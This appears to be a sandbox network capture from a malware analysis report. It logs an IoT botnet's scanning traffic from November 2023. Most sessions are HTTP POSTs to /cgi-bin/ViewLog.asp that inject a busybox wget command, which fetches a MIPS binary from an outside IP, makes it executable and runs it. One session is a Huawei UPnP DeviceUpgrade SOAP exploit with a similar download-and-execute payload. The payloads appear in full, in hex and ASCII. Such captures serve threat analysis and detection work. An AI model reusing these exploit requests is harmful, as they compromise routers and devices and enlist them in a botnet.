                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                189192.168.2.154390894.230.206.1178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:39.028639078 CET326INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                Date: Thu, 23 Nov 2023 04:20:49 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                190192.168.2.153902662.80.179.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:39.235766888 CET322INHTTP/1.0 400 Bad Request
                                                Server: httpd
                                                Date: Thu, 23 Nov 2023 04:20:39 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                191192.168.2.154412094.253.126.758080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:39.653016090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:43.835839987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:44.058197975 CET378INHTTP/1.1 404 Not Found
                                                Server: nginx/1.14.0
                                                Date: Thu, 23 Nov 2023 04:20:43 GMT
                                                Content-Type: text/html
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                192192.168.2.155903294.131.12.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:40.864324093 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:41.060384989 CET113INHTTP/1.1 400 Bad Request
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                193192.168.2.154592094.120.39.1558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:40.894592047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                194192.168.2.153288894.24.37.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:41.042622089 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                195192.168.2.155241631.12.75.2328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:41.831928968 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.523893118 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                196192.168.2.1537002156.77.130.7837215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:42.171480894 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                197192.168.2.155450431.136.62.1628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.034838915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:43.611833096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:44.731806993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:47.163794041 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:51.771847963 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:00.731369019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.162913084 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.026021957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                198192.168.2.154508094.23.152.58080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.209539890 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                199192.168.2.154691895.217.148.1098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.231247902 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                200192.168.2.153373285.214.210.1458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:43.413806915 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:43.616693974 CET552INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:43 GMT
                                                Server: Apache/2.4.18 (Ubuntu)
                                                Content-Length: 304
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
